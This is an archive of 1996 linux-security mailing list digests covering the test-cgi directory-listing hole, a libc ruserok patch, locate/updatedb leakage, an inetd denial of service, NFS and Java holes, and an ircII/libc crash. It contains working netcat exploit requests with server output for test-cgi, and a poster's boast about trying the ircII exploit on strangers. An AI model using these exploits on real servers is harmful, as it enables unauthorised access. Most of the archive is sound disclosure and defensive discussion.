cgi-bin directory or somewhere similar). There is a problem with many of these test-cgi files. If your test-cgi file contains the following line (verbatim) then you are probably vulnerable. echo QUERY_STRING = $QUERY_STRING All of these lines should have the variables enclosed in loose quotes ("). Without these quotes certain special characters (specifically '*') get expanded where they shouldn't. Thus submitting a query of '*' will return the contents of the current directory (probably where all of the cgi files are... gee, there's jj and phf. Hmmm what are all those other cgi's that I haven't seen... wonder what holes exist in those?). Sending in a query of '/*' will list the root directory. And so on, and so on. This is the same as doing `echo *` when you've blown away 'ls' (not that this ever happens to anyone ). The easiest way to list out the directories is via the query string. However, it is possible to do the same thing through many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations. Fix: The quick fix is to place loose quotes around all of the variables in the test-cgi file (they should have been there from the beginning!). echo QUERY_STRING = "$QUERY_STRING" This incorrect file has been seen in at least several versions of NCSA, and Apache. Example exploit: Below are examples (nc is netcat from avian.org, if you don't have it you should get it as it is an invaluable tool. You can always just telnet to port 80 and type in the GET... command.) - ------------------ machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = - ------------------ Or to see what other cgi-goodies are still floating around... - ------------------ machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = - ----- end forwarded message ----- The author did not find/mention another problem with the test-cgi script - it's not just the '$QUERY_STRING' that should be quoted, it's all the variables. For example, I typed the following command line: lynx http://localhost/cgi-bin/test-cgi?' /* ' and got 'QUERY_STRING = ', and a 'SERVER_PROTOCOL = ... HTTP/1.0', with the '...' being a listing all the files in the root directory of the web server. This was on Apache 1.0.3 or 1.0.5 - attempts at this on any NCSA servers failed...? ------------------------------ End of linux-security-digest V2 #17 *********************************** linux-security-digest/v02.n018100664 1767 1767 11633 6142064004 15441 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #18 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 2 May 1996 Volume 02 : Number 018 Re: [linux-security] WARNING: libc/ruserok security hole [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb ---------------------------------------------------------------------- From: Swen Thuemmler Date: Wed, 24 Apr 1996 21:29:05 +0200 (MET DST) Subject: Re: [linux-security] WARNING: libc/ruserok security hole The patch below takes care of the problem. Greetings, Swen - --- libc/inet/rcmd.c.orig Wed Feb 14 09:25:21 1996 +++ libc/inet/rcmd.c Wed Apr 24 21:26:49 1996 @@ -425,10 +425,10 @@ else if (user[0] == '-') uservalid = -uservalid; else if (user[0] != '+') - - uservalid = !strcmp(ruser, *user ? user : luser); + uservalid = !strcmp(ruser, user); } else - - uservalid = 1; /* no user means all users */ + uservalid = !strcmp(ruser, luser); /* no user means local user */ if (hostvalid) if (uservalid == 1) ------------------------------ From: Jordy Date: Thu, 25 Apr 1996 03:25:19 -1000 (HST) Subject: [linux-security] locate & updatedb i'm curious about locate and updatedb. From the standard installation of slackware 3.0, it looks like any users can pull up the contents of any directory they choose. Take this example: #id uid=509(jordy) gid=100(users) groups=100(users) #ls -l /usr |grep admin drwx------ 2 root users 1024 Apr 25 08:15 admin/ #locate admin /usr/admin /usr/admin/bar /usr/admin/foo - ------------------ END INFO ------------ i've noticed this problem for quite a while. updatedb is standard in the crontab of root, so it can enter any directories root can enter. An easy fix is to simply run it as another user, or disable locate all together. ,'~``. ,'``~. ( o o ) ,( o o ), +--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.----+ | http://www.lava.net/~jordy/index.html | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | | | [Chief Network Admin For Thirdwave.Net & Really Nifty Guy] | | .oooO [email protected] & Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | +-----\ (----( )------------------------( )--- ) /-------+ \_) ) / \ ( (_/ (_/ \_) ------------------------------ From: [email protected] Date: Fri, 26 Apr 1996 17:25:42 +0200 (MDT) Subject: Re: [linux-security] locate & updatedb Hi! Jordy wrote: > i'm curious about locate and updatedb. From the standard installation of > slackware 3.0, it looks like any users can pull up the contents of any > directory they choose. [...] > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. This is an old, known problem. If you really want to use locate/updatedb, run updatedb from a *really* unprivileged uid. Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de ------------------------------ From: [email protected] Date: Sat, 27 Apr 1996 05:27:33 -0400 (EDT) Subject: Re: [linux-security] locate & updatedb [mod: quoting trimmed. --okir] On Thu, 25 Apr 1996, Jordy wrote: > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. Taken from the updatedb man page: --prunepaths='path1 path2...' Directories to not put in the database, which would otherwise be. Default is /tmp /usr/tmp /var/tmp /afs. So, an implementation of: updatedb --prunepaths='/usr/admin /root' would be a good start. "We had it tough ... I had to get up at 9 o'clock at night, half an hour before I went to bed, eat a lump of dry poison, work 29 hours down mill, and when we came home our Dad would kill us, and dance about on our grave singing Haleleuia ..." -- Monty Python ------------------------------ End of linux-security-digest V2 #18 *********************************** linux-security-digest/v02.n019100664 1767 1767 50732 6142677414 15464 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #19 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 4 May 1996 Volume 02 : Number 019 [linux-security] Denial of service in inetd [linux-security] NFS security bug [linux-security] Yet Another Java Hole. [linux-security] Reminder: Please include revisions when you report problems Re: [linux-security] Denial of service in inetd Re: [linux-security] locate & updatedb [linux-security] sh-utils-1.12+security Re: [linux-security] Denial of service in inetd [linux-security] [linux-alert] Yet Another Java Hole. Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] LSF: Cryptographic Filesystem under Linux ---------------------------------------------------------------------- From: Chris Farris Date: Thu, 2 May 1996 11:59:00 -0400 (EDT) Subject: [linux-security] Denial of service in inetd We have uncovered some potential problems with the time and daytime services under inetd. If you send these services the "SYN" packet and then reset the connection before the connection is open, it will cause inetd to die completly. This could be a fairly nasty denial of service attack if you use any of the services in inetd, and a firewall may not protect you if the filter rules do not filter out those packets. I'd recomend everyone here comment out the TCP (stream) versions of these services. Chris - -- Chris Farris | Voice: (404)252-7270 Internet Security Systems, Inc. | Fax: (404)252-2427 Ste. 115, 5871 Glenridge Dr, | www: http://www.iss.net/ Atlanta, GA 30328 | Email: [email protected] 1st rule of computer security: What You Don't See Is What Gets You ------------------------------ From: Arik Baratz Date: Thu, 2 May 1996 11:37:46 +0300 (GMT+0300) Subject: [linux-security] NFS security bug I don't know if this had been around or not, but my newly installed Slackware 3.0.0 linux shows this behaviour: ccarik /home/arikb>su - Password: ccarik /root# cat /etc/exports # See exports(5) for a description. # This file contains a list of all directories exported to other computers. # It is used by rpc.nfsd and rpc.mountd. /home/arikb ccarik(ro,root_squash) ccarik /root# rpc.mountd ; rpc.nfsd ccarik /root# mount ccarik:/home/arikb /mnt ccarik /root# cd /mnt ccarik /mnt# ls -al xxx - -rwxrwxrwx 1 arikb users 29 Apr 7 15:27 xxx* ccarik /mnt# cat > yyy yyy: Read-only file system. ccarik /mnt# cat .rhosts blabla blablabla2 blablabla3 ccarik /mnt# cat >> xxx blablabla4 ccarik /mnt# cat xxx blabla blablabla2 blablabla3 blablabla4 ccarik /mnt# This means also .rhosts exploits, small addition to system scripts, etc. etc., while the sysamin believes his system is mounted only "read-only"... Moving over to nfs-server-2.2beta4 solved this one. - --------------------------------------------- ....- --.. ----. -.. --. . Arik Baratz, Regularus Studentus, iNTP, 4Z9DGE - --------------------------------------------------------------------------- "Your conscious mind is very intelligent, and your unconscious mind is a hell of a lot smarter than you are." - Erickson H. Milton http://ccarik.technion.ac.il/~arikb ------------------------------ From: Jeff Uphoff Date: Thu, 2 May 1996 12:50:11 -0400 Subject: [linux-security] Yet Another Java Hole. Not Linux-specific, but there are enough Linuxers running Web browsers to make this a potential threat to a large number of Linux systems. - --Up. - ------- start of forwarded message (RFC 934 encapsulation) ------- Excerpted from RISKS 18.08. - - ------------ Date: Sun, 28 Apr 1996 03:42:49 +0000 (BST) >From: David Hopwood Subject: Another way to run native code from Java applets In addition to the security bug found by Drew Dean, Ed Felten and Dan Wallach in March, there is another way to run native code from a Java applet, which will require a separate fix to the current versions of Netscape (2.01 and Atlas PR2) and Sun's Java Development Kit (1.01). Both this attack and the previous one rely on an applet being able to create an instance of the same security-sensitive class, but each does so using an independent hole in the bytecode verifier. Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. Summary of Java bugs found so far ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date Found by Fixed in Effects - - --------- ------ ---------- ------- Oct 30 95 DFW not fixed Various - see in HotJava ftp://ftp.cs.princeton.edu/reports/1995/501.ps.Z Feb 18 96 DFW/SG 1.01/2.01 Applets can exploit DNS spoofing to connect to machines behind firewalls Buffer overflow bug in javap Mar 2 96 DH 1.01/2.01 win32/MacOS: Applets can run native code UNIX: Ditto, provided certain files can be created on the client Mar 22 96 DFW not fixed Applets can run native code Mar 22 96 EW not fixed If host names are unregistered, applets may be able to connect to them Apr 27 96 DH not fixed Applets can run native code There was also a separate bug in beta versions of Netscape 2.0 which, in hindsight, would have allowed applets to run native code. [DFW = Drew Dean, Ed Felten, Dan Wallach http://www.cs.princeton.edu/sip/News.html SG = Steve Gibbons http://www.aztech.net/~steve/java/ DH = David Hopwood http://ferret.lmh.ox.ac.uk/~david/java/ EW = Eric Williams http://www.sky.net/~williams/java/javasec.html Dates indicate when the problem was first posted to RISKS, except for Eric Williams' bug, which has not been posted.] For bugs in Javascript, see John LoVerso's page http://www.osf.org/~loverso/javascript/ These include the ability to list any local directory (apparently fixed in Atlas PR2), and a new version of the real-time history tracker. Additional information on the March 2nd absolute pathname bug is now available from http://ferret.lmh.ox.ac.uk/~david/java/ Recommended actions ~~~~~~~~~~~~~~~~~~~ Netscape (2.0beta*, 2.0, 2.01): Disable Java (on all platforms except Windows 3.1x), and if possible Javascript, using the Security Preferences dialogue in the Options menu. Note that the section on security in the Netscape release notes is not up-to-date. Netscape (Atlas PR1, PR2): As above, except that the options to disable Java and Javascript have moved to the Languages tab in the Network Preferences dialogue. Appletviewer (JDK beta*, 1.0, 1.01): Do not use appletviewer to load applets from untrusted hosts. HotJava (alpha*): Sun no longer supports HotJava alpha, and does not not intend to fix any of its security holes until a beta version is released. David Hopwood [email protected] - ------- end ------- ------------------------------ From: Al Longyear Date: Thu, 02 May 96 12:20:00 PDT Subject: [linux-security] Reminder: Please include revisions when you report problems This is not really a security issue. However, it is important to the general readers none the less as it relates to the ability to recognize the problem and to determine if you are experiencing the difficulties. I am sure that in the 'heat of the moment' that some people find when they discover a problem with the security of your system which may cause you to leave out some small piece of critical information. However, if you are going to say that "such and such does not work with Linux" then please, please, include the revision information for both Linux kernel and the "such and such" (if it is not the kernel itself). Linux has two main branches for the kernels. Each has their own characteristics. The developmental branch has many, many revisions to it. Each revision defines the particular problems and what it will support. If you are going to say that there is a problem with the networking of the Linux kernel then it is important, if not critical, to include the definition of the problem and the revision of the kernel that you are reporting. I am not trying to name names. I am only asking that when you do report a problem that you include all of the information -- and the kernel revision that you are using. Without that information, the problem probably could not be re-created, identified, and almost certainly can not be fixed. Thank you. -- Al Longyear [email protected] [email protected] ------------------------------ From: "Alexander O. Yuriev" Date: Thu, 02 May 1996 14:21:00 -0400 Subject: Re: [linux-security] Denial of service in inetd Your message dated: Thu, 02 May 1996 11:59:00 EDT > We have uncovered some potential problems with the time and daytime > services under inetd. > > If you send these services the "SYN" packet and then reset the connection > before the connection is open, it will cause inetd to die completly. > > This could be a fairly nasty denial of service attack if you use any of the > services in inetd, and a firewall may not protect you if the filter rules > do not filter out those packets. > > I'd recomend everyone here comment out the TCP (stream) versions of these > services. This type of attack is not limited to either Linux or daytime/tcp services. Such attack can be successfully performed against virtually every service started from or perfromed by inetd. The better solution is to remove all unused servies from inetd. It could be also advised that services that more-or-less duplicate functionality of other servers should be removed. Best wishes, Alex ------------------------------ From: John Gilmore Date: Thu, 02 May 1996 23:13:41 -0700 Subject: Re: [linux-security] locate & updatedb > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. > [or use --prunepaths=...] I think a more durable solution would be to add a call to access() in the locate command. Before returning any file name on stdout, locate would check that it is accessible to the user who's running locate. This not only allows a full root `find' in updatedb, but also has the nice side effect of eliminating files from locate's output if they have been deleted or made inaccessible since updatedb was run by cron. John Gilmore ------------------------------ From: Eric John Kuzniar Date: Fri, 3 May 1996 02:30:25 -0400 (EDT) Subject: [linux-security] sh-utils-1.12+security This is the standard sh-utils-1.12 source distributions with a couple additions to su. One is implementation for the wheel group. Persons in the wheel group (as defined in /etc/group) are the only ones allowed to su to root. It also has some code to prevent a user from using an old password to login, a design flaw in most implementations of su which is commonly exploited with a combination of social engineering. What follows it the lsm for this package. Eric Kuzniar Begin3 Title: sh-utils-1.12+security.tar.gz Version: Fri Apr 26 01:21:48 EDT 1996 Entered-date: 02MAY96 Description: This is the sh-utils-1.12 package with a few security enhancements. most notably support for wheel groups in su. Keywords: su false util security secure Author: Maintained-by: [email protected] (Eric John Kuzniar) Primary-site: sunsite.unc.edu /pub/system/Misc Alternate-site: Original-site: hendersonville.cs.unca.edu /pub/linux/security Platform: Copying-policy: GPL End ------------------------------ From: Peter Henning Date: Fri, 03 May 1996 08:24:22 +0200 Subject: Re: [linux-security] Denial of service in inetd Chris Farris wrote: > > If you send these services the "SYN" packet and then reset the connection > before the connection is open, it will cause inetd to die completly. Does anyone know whether xinetd is vulnerable to the same sort of attacks? If not, it should be considered as a more secure inetd replacement. Unfortunately the configurations files are slightly different. - -- ________________________________________________ | * G * E * M * | http://sparkly.gem.co.za/ |\ | 11 Orphan Street | Voice:+27 21 23 7023 | | | Cape Town 8001 | Fax:+27 21 23 7055 | | | finger [email protected] for public key | | |____________________|___________________________| | \________________________________________________\| ------------------------------ From: "Miller, Raul D." Date: Fri, 03 May 96 09:54:00 PDT Subject: [linux-security] [linux-alert] Yet Another Java Hole. [This is certainly not Linux-specific, but since Java has the potential to be a real nuisance to security-minded people everywhere I feel it's worth a bit of discussion here (just as long as it doesn't start A Thread That Will Not Die). --Jeff.] David Hopwood: Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This should be considered a Java security bug. A Java capable browser should be capable of (a) displaying/logging each new type of access to a new object (file, host, ...) so the user has a chance of understanding what's being looked at or modified. (b) requiring the user to give access permission before allowing access [obviously there could be several variants of this]. These capabilities should go into the implementation of the java language, and should not be implemented using a security monitor class (or whatever). The point is that if the user doesn't have control of the interpreter, and can't even figure out what it's touching, there will always be security problems. If this were done right the host access restrictions of Java would be a lot less meaningful. - -- Raul ------------------------------ From: Zefram Date: Fri, 3 May 1996 15:31:07 +0100 (BST) Subject: Re: [linux-security] locate & updatedb >I think a more durable solution would be to add a call to access() in >the locate command. Before returning any file name on stdout, locate >would check that it is accessible to the user who's running locate. > >This not only allows a full root `find' in updatedb, but also has the >nice side effect of eliminating files from locate's output if they have >been deleted or made inaccessible since updatedb was run by cron. That would require locate to be setuid, and would also slow it down. The best solution is simply, as has been previously stated, to run updatedb as an unprivileged user that owns no files. Just accept the limitations. If you want something more up to date, use find. - -zefram ------------------------------ From: Marc Ewing Date: Fri, 03 May 1996 11:12:12 -0400 Subject: Re: [linux-security] locate & updatedb [Mod: Quoting trimmed slightly. --Jeff.] John Gilmore writes: > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. > > This not only allows a full root `find' in updatedb, but also has the > nice side effect of eliminating files from locate's output if they have > been deleted or made inaccessible since updatedb was run by cron. That is a nice side-effect, but I think it doesn't really solve the problem -- the info is still in the database for all to read. - -Marc ------------------------------ From: Lars Wirzenius Date: Fri, 03 May 1996 17:46:54 +0300 Subject: Re: [linux-security] locate & updatedb John Gilmore: > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. But then the database (/var/lib/locate/locatedb) needs to be protected, and /usr/bin/locate must be made setuid, and the database updating process must be run with suitable privileges, and all relevant programs must be checked that they do not have any holes, and worried sysadmins must be calmed that a /usr/bin/locate that is setuid root is not a hole, and _still_ there will be rumors about a _BIG_ security hole in it. (I know that setuid root isn't necessary. It could be a special uid just for this purpose as well.) Much simpler to just have locate show files that _anyone_ can access. That is, run the corresponding find as nobody, as in my Debian setup (/etc/cron.daily/find): #! /bin/sh # # cron script to update the `find.codes' database. # # Written by Ian A. Murdock . su nobody -c "cd / && updatedb" 2>/dev/null > nice side effect of eliminating files from locate's output if they have > been deleted or made inaccessible since updatedb was run by cron. An option to do this would be nice and should be trivial to implement. But I don't think it should be used to solve security problems. (The option shouldn't be on by default, since it makes the thing run too slow. Think NFS and "locate man".) [Mod: This should about wrap it up for updatedb and locate. Lars, together with some of the previous posters, has hit most of the high points of the "good" solution(s) and pointed out most of the weaknesses of the others. --Jeff.] ------------------------------ From: Mark Cooke Date: Fri, 3 May 1996 17:00:17 +0100 (BST) Subject: Re: [linux-security] locate & updatedb On Thu, 2 May 1996, John Gilmore wrote: > > i've noticed this problem for quite a while. updatedb is standard in the > > crontab of root, so it can enter any directories root can enter. An easy > > fix is to simply run it as another user, or disable locate all together. > > [or use --prunepaths=...] > > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. Yes - but you'd have to make the locate program suid a dummy user, and the database 600 to prevent your users from importing the source and compiling without access() Mark - ------------------------------------------------------------------------------ Mark Cooke The views expressed above are mine Systems Programmer and do not reflect in any way the University Of Birmingham current policy of my employers. - ------------------------------------------------------------------------------ ------------------------------ From: [email protected] (Matt 'Panzer Boy') Date: 19 Apr 1996 01:50:57 -0400 Subject: Re: [linux-security] LSF: Cryptographic Filesystem under Linux [Mod: Sorry for the delay on this; it got lost in my inboxes. --Jeff.] Alexander O. Yuriev ([email protected]) wrote: : Cryptographic File System under Linux HOW-TO : Copyright (C) 1996 Alexander O. Yuriev ([email protected]) : COMPILING AND INSTALLING CFS : several methods to make CFS work under Linux, the cleanest one of : which is based on the modifications performed by Olaf Kirch. His : version of CFS is available from: : ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.tar.gz ftp://utopia.hacktic.nl/pub/replay/pub/crypto/CRYPTOapps/cfs-1.3.3-2.src.rpm There's some other stuff in there, binary rpm, original source, etc, etc. :) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ End of linux-security-digest V2 #19 *********************************** linux-security-digest/v02.n020100664 1767 1767 53055 6145132074 15444 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #20 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 11 May 1996 Volume 02 : Number 020 Re: [linux-security] Denial of service in inetd Re: [linux-security] Denial of service in inetd Re: [linux-security] Denial of service in inetd [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] Denial of service in inetd Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Administrative note regarding subscriptions. [linux-security] Corrected post: Exploit for problem with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Accelerated X , machine crash possible monitor damage attack [linux-security] uhh.. security? [linux-security] libc bug exploited through ircII Re: [linux-security] libc bug exploited through ircII [linux-security] Inetd problem -followup ---------------------------------------------------------------------- From: Kit Knox Date: Sat, 4 May 1996 15:03:46 -0700 (PDT) Subject: Re: [linux-security] Denial of service in inetd On Fri, 3 May 1996, Peter Henning wrote: > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. These internal services can be abused in many other ways. UDP storms (to the echo port etc) come to mind. Everyone should disable these to begin with. I have no idea why the main distributions (redhat/slack/etc) decide to distribute these insecure distributions. +-----------------------------------------+ | Kit Knox - System Administrator | | CONNECTnet - http://www.connectnet.com/ | +-----------------------------------------+ ------------------------------ From: Kwest Admin Date: Sat, 4 May 1996 18:32:07 -0500 (CDT) Subject: Re: [linux-security] Denial of service in inetd Greetings.. > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. I'm not sure if xinetd is vulnerable or not, but it does come with a nifty script to convert inetd.conf to xinetd.conf - I have xinetd setup here, I'll try to break it and let you know how I go. - -- ,-._|\ Dale Shaw | / Oz \ | bbs: +61-6-254-9437 [email protected] | \_,--.x/ | fax: +61-6-251-6848 v ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 7 May 1996 09:57:45 +0100 (BST) Subject: Re: [linux-security] Denial of service in inetd > These internal services can be abused in many other ways. UDP storms (to > the echo port etc) come to mind. Everyone should disable these to begin > with. I have no idea why the main distributions (redhat/slack/etc) decide > to distribute these insecure distributions. It depends how people view them. There are some nasties in the internal services. By your argument we shouldnt include TCP (insecure, spoofable, can be tripped into a network food fight with fake frames), IP is right out because you can destroy the routing tables causing the same effects, and running on a 386 or 486 CPU is out as they have security bugs Having echo "off" by default would be a good move though. Alan ------------------------------ From: lilo Date: Wed, 8 May 1996 02:23:11 -0500 (CDT) Subject: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 This evening I was given an exploit which suggests a serious bounds-checking problem in libc >5.0.0 <5.3.9 or so. I'll provide an announcement including an exploit tomorrow if it hasn't already been provided. The exploit is an alias which can be run under ircII which appears to segfault current ircII releases. It's very suggestive and appears to occur in approximately the range of libc releases suggested. We've done some testing on #LinPeople (irc.linpeople.org), where I'll refer anyone who needs background in a hurry. In the meantime, I'm providing the exploit to the list owners so they can begin looking at the problem. I suggest anyone within the range of libc releases which seems to be affected begin looking at an upgrade to 5.3.12. lilo ------------------------------ From: Peter Hartzler Date: Tue, 7 May 1996 17:45:36 -0400 (EDT) Subject: Re: [linux-security] Denial of service in inetd [Mod: This is not Linux-specific, but I'm sure that many Linux users may be wondering about these same sorts of things. I ask that you please direct replies to the post's author (i.e. not to the list), and that he post a future summary if he thinks it's worthwhile. --Jeff.] On Tue, 7 May 1996, Alan Cox continued: > > These internal services can be abused in many other ways. UDP storms (to > > the echo port etc) come to mind. Everyone should disable these to begin > > with. I have no idea why the main distributions (redhat/slack/etc) decide > > to distribute these insecure distributions. > > It depends how people view them. There are some nasties in the internal > services. By your argument we shouldnt include TCP (insecure, spoofable, > can be tripped into a network food fight with fake frames), IP is right > out because you can destroy the routing tables causing the same effects, > and running on a 386 or 486 CPU is out as they have security bugs > > Having echo "off" by default would be a good move though. Hmmm.. I'm wondering about this stuff. I see that these "dangerous" services have a tcp and a udp component... Is the udp one dangerous and the tcp not? - --- from /etc/inetd.conf --- echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal time stream tcp nowait root internal time dgram udp wait root internal - --- snip --- Also, the inetd 8 man page says: - --------- Inetd provides several ``trivial'' services internally by use of routines within itself. These services are ``echo'', ``discard'', ``chargen'' (character generator), ``daytime'' (human readable time), and ``time'' (machine readable time, in the form of the number of seconds since midnight, January 1, 1900). All of these services are tcp based. For details of these services, consult the appropriate RFC from the Network Information Center. - --------- Does this speak to ones' ability to shut down these services, if they're supplied internally by inetd? Why is the udp version mentioned in the .conf file if they're tcp based? Thanks in advance for any help with understanding this! - -ph Peter Hartzler ------------------------------ From: Synthesizer Punk Date: Thu, 9 May 1996 07:22:08 -0400 (EDT) Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 On Wed, 8 May 1996, lilo wrote: > This evening I was given an exploit which suggests a serious bounds-checking > problem in libc >5.0.0 <5.3.9 or so. > > [Mod: Quoting trimmed. --Jeff.] This is an old 'exploit' if you will call it that. I won't provide specifics, for obvious reasons, but I will say that it uses the client to client protocol to fake a direct client connection send. I haven't gotten a chance to really look at it, but I've been testing it on idiots in the #warez channels (My testing grounds, no one cares what happens to them :P) and it seems as if it works about 1/5th of the time. Some scripts even gave me a dirty reply stating (quote) 'Try that backdoor somewhere else ASSHOLE!'. That one gave me a shock. :) I scanned it over in JED, (8 bit clean) and I noticed a reference to /bin/sh. If lilo doesn't want to provide the information, I will. A basic solve would be to ignore all CTCPs if you find your client is exposed to this: /ignore * ctcp synthpunk@irc The Wasteland IRC Administrator [email protected] http://www.tessier.com/People/synthpunk ------------------------------ From: Jeff Uphoff Date: Thu, 9 May 1996 08:06:58 -0400 Subject: [linux-security] Administrative note regarding subscriptions. - -----BEGIN PGP SIGNED MESSAGE----- I've noticed a *lot* of people that are subscribed to both the linux-security and linux-alert lists. (Current subscription total: 7450 addresses in 79 top-level domains.) Linux-alert postings are normally CC'd to the linux-security list; if you're subscribed to linux-security then you don't really need to be subscribed to linux-alert as well. linux-alert is for bug and fix announcements, important security-related announcements, etc., whereas linux-security is for background discussions and work on security issues. If you're only interested in hearing about really important matters you should be subscribed to linux-alert. If you're interested in the background information and discussions, as well as the important announcements, you should be subscribed to linux-security. One other note: since the traffic volume on linux-alert is quite low (typically only a couple/few posts per month), subscribing to linux-alert-digest effectively causes an alert to reach you roughly a week later than if you were subscribed to linux-alert. There's really no point in having a linux-alert-digest list; I'm once again considered discontinuing it and moving its subscribers over to the regular linux-alert list. - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMZHf3XoDqzGe1QXFAQF/ZQQAwoqMV9lxfrd3INct3743ZSNoPfjJgerp 42kCxpKE4UGXY/oBTdDUL3i6dQFRLCvxbyPlrTw0w/ZUGfr20/TKQVWJGhD8XKyF gHaWT+iCimjCf8wc/YZqpMwzddCSr37J+erJO1qkynaxQW8N6x5NlL4XbR7wswmI QARJ3+UCwnM= =XNaE - -----END PGP SIGNATURE----- ------------------------------ From: lilo Date: Thu, 9 May 1996 11:49:57 -0500 (CDT) Subject: [linux-security] Corrected post: Exploit for problem with libc >5.0.0 <5.3.9 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [email protected] for more info. - ---1463811780-1085441611-831660434=:485 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Sorry, pine is a little bit stubborn at times. Here is the corrected posting with the attachment. I wish I had time to look into this more carefully. However, I've confirmed that with no other code changes, an upgrade to libc 5.3.12 eliminates this problem. So far I have heard of no security holes in 5.3.12 though that could certainly change. You can see by inspection this exploit is probably a botched attempt to get shell access on the other user's client. To use this exploit to segfault someone's vanilla 2.8.2+ client: /load screw.irc /libc I'd appreciate it if anyone who troubles to look into this more deeply could send me some detail on just what is going on, for my records. It segfaults with an illegal instruction. Thank you for your time. lilo - ---1463811780-1085441611-831660434=:485 Content-Type: TEXT/PLAIN; name="screw.irc" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: YWxpYXMgbGliYyB7DQovY3RjcCAkMCBEQ0MgU0VORCBmZWggMDAwMDAwMDAw 